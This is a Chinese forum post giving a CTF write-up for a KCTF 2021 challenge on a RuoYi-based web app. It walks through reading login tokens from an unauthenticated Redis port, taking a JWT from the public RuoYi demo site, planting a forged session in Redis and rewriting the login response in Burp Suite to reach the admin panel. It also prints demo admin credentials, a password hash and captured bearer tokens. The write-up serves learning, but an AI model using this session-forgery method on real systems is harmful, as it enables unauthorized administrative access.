首页
社区
课程
招聘
[原创]2021 KCTF 春季赛 第三题 统一门派 wp
2021-5-14 03:57 7420

[原创]2021 KCTF 春季赛 第三题 统一门派 wp

2021-5-14 03:57
7420

#本人web安全方面知识一直欠缺, 在好友Z的一起研究下, 这两天查阅各种资料, 现学现卖, 终于...搞定...

 

走过的弯路就不多说了(心里苦, 不过这两天学到挺多知识^-^), 直接写下进入后台拿到flag的方法.

0x0 寻找可利用之处

扫描端口, 发现redis数据库端口6379开启.
远程可以直接连接上.

 

数据库主要的有captcha_codes和login_tokens.

0x1 题目框架代码

利用搜索引擎不难找到若依框架项目的开源代码:
https://gitee.com/qi-xiaoxiao/qixiaoxiao

 

顺便还能找到演示地址:
http://vue.ruoyi.vip

 

演示地址可以用admin/admin123帐号登录.

0x2 分析login_tokens

redis数据库里的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
login_tokens:1794d721-4eb1-4a7e-af46-da6261bf1301
 
{
    "@type":"com.ruoyi.common.core.domain.model.LoginUser",
    "accountNonExpired":true,
    "accountNonLocked":true,
    "browser":"Chrome 9",
    "credentialsNonExpired":true,
    "enabled":true,
    "expireTime":1680912666549,
    "ipaddr":"127.0.0.1",
    "loginLocation":"内网IP",
    "loginTime":1620912726549,
    "os":"Windows 10",
    "password":"$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2",
    "permissions":Set[
        "*:*:*"
    ],
    "token":"1794d721-4eb1-4a7e-af46-da6261bf1301",
    "user":{
        "admin":true,
        "avatar":"",
        "createBy":"admin",
        "createTime":1620902433000,
        "delFlag":"0",
        "dept":{
            "children":[
 
            ],
            "deptId":103,
            "deptName":"研发部门",
            "leader":"若依",
            "orderNum":"1",
            "params":{
                "@type":"java.util.HashMap"
            },
            "parentId":101,
            "status":"0"
        },
        "deptId":103,
        "email":"ry@163.com",
        "loginDate":1620902433000,
        "loginIp":"127.0.0.1",
        "nickName":"若依",
        "params":{
            "@type":"java.util.HashMap"
        },
        "password":"$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2",
        "phonenumber":"15888888888",
        "remark":"管理员",
        "roles":[
            {
                "admin":true,
                "dataScope":"1",
                "deptCheckStrictly":false,
                "flag":false,
                "menuCheckStrictly":false,
                "params":{
                    "@type":"java.util.HashMap"
                },
                "roleId":1,
                "roleKey":"admin",
                "roleName":"超级管理员",
                "roleSort":"1",
                "status":"0"
            }
        ],
        "sex":"1",
        "status":"0",
        "userId":1,
        "userName":"admin"
    },
    "username":"admin"
}

从中挑出几条关键的信息:
1.管理员帐号密码

1
2
"userName":"admin"
"password":"$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2"

userName是明文, password进行加密过了.
审阅开源代码, 发现password使用的是Spring security中的BCrypt算法加密, 计算hash不可逆.
曾一度想尝试爆破, 最终放弃...

 

2.tokenId

1
"token":"1794d721-4eb1-4a7e-af46-da6261bf1301"

登录成功后response包里应该有tokenId, 并且登录成功后的http访问应该都带着tokenId.
或许可以伪造一份假的token.

 

开干!

 

在演示地址中登录成功后抓http访问的包.

1
2
3
4
5
6
7
8
9
10
GET /prod-api/getRouters HTTP/1.1
Host: vue.ruoyi.vip
Accept: application/json, text/plain, */*
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjdiMjQ3YzFiLWVmNmYtNGE1MS05OTkxLTc5ODk0NDE5ZjQ4ZCJ9.c9z5AI3a0EpPx7bCStIq2JAsCiZDIKyt0PEE2YVrwyLDUop2N-gxoJKJquCrBJqQY1-DotWG-wKpPIIPMbIGtQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3868.400 QQBrowser/10.8.4394.400
Referer: http://vue.ruoyi.vip/login?redirect=%2Findex
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Admin-Token=eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjdiMjQ3YzFiLWVmNmYtNGE1MS05OTkxLTc5ODk0NDE5ZjQ4ZCJ9.c9z5AI3a0EpPx7bCStIq2JAsCiZDIKyt0PEE2YVrwyLDUop2N-gxoJKJquCrBJqQY1-DotWG-wKpPIIPMbIGtQ
Connection: close

在Cookie:Admin-Token, Authorization都有出现token.
测试删掉cookie访问正常, 说明服务器验证的是Authorization里的token.

 

Authorization内容和redis数据库里的tokenId好像不太一样.
审阅开源代码得出Authorization由TOKEN_PREFIX和token组成.

1
2
3
4
/**
 * 令牌前缀
 */
public static final String TOKEN_PREFIX = "Bearer ";

token由io.jsonwebtoken.Jwts生成.

0x3 JSON Web Token(JWT)

JWT消息构成

一个token分3部分,按顺序为
头部(header)
其为载荷(payload)
签证(signature)
由三部分生成token
3部分之间用“.”号做分隔。例如:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

头部和playload

头部声明类型是jwt, 加密的算法是HMAC SHA256
playload存放数据, tokenId就是存在这里

签名signature

jwt的第三部分是一个签证信息,这个签证信息算法如下:
base64UrlEncode(header) + "." + base64UrlEncode(payload)+your-256-bit-secret
这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分

如何利用

伪造tokenId的话, 需要构造完整三部分的jwt消息.
因为没有自己搭建环境(主要是懒得敲java代码- -!), 这里直接在演示地址正常登录抓包拿下一份jwt消息:

1
2
3
eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjIyYmRlZDJmLTNiOTYtNDNlYi1hNmMxLTMzMmExNTY1ZDM2OSJ9.IK5aHWqQDpT5HxNQ_L8F0C_DkCGxNXzzS5Jl0q3iAnEJybQL8cWbPiaaJodjMPkLZEKXhDhNdZFg2lKsaaXsWg
 
{"login_user_key":"22bded2f-3b96-43eb-a6c1-332a1565d369"}

0x4 开始攻击

在数据库里的login_tokens增加一个数据, 对之前存在的一个login_token做修改, 把key的名字和value里的token都要改成自己手上的"22bded2f-3b96-43eb-a6c1-332a1565d369".

 

添加以后, 使用burp suite带着Authorization协议头访问/dev-api/getRouters, 成功的返回了数据.

 

接下来就是要登录进后台了.

 

在登录界面, 随意输入帐号密码和验证码进行登录, 使用burp suite修改response数据:(返回登录成功结果和伪造的token)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HTTP/1.1 200
Server: nginx
Date: Thu, 13 May 2021 17:05:58 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Content-Length: 228
 
{"msg":"操作成功","code":200,"token":"eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjIyYmRlZDJmLTNiOTYtNDNlYi1hNmMxLTMzMmExNTY1ZDM2OSJ9.IK5aHWqQDpT5HxNQ_L8F0C_DkCGxNXzzS5Jl0q3iAnEJybQL8cWbPiaaJodjMPkLZEKXhDhNdZFg2lKsaaXsWg"}

成功登录进后台!

CTF flag:2345_ert3_Wee

0x5 End

经过两天时间, 连滚带爬地学习了挺多web安全的知识, 自我感觉收获真的很大.
感谢好友Z的指导和一起学习尝试.

 

参考资料:
1.JSON Web Token(JWT)使用步骤说明:https://www.cnblogs.com/renhui/p/10194681.html
2.Spring security中的BCryptPasswordEncoder方法对密码进行加密与密码匹配:https://www.cnblogs.com/Amywangqing/p/13640838.html


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-5-14 10:16 被KuCha128编辑 ,原因:
收藏
免费 1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回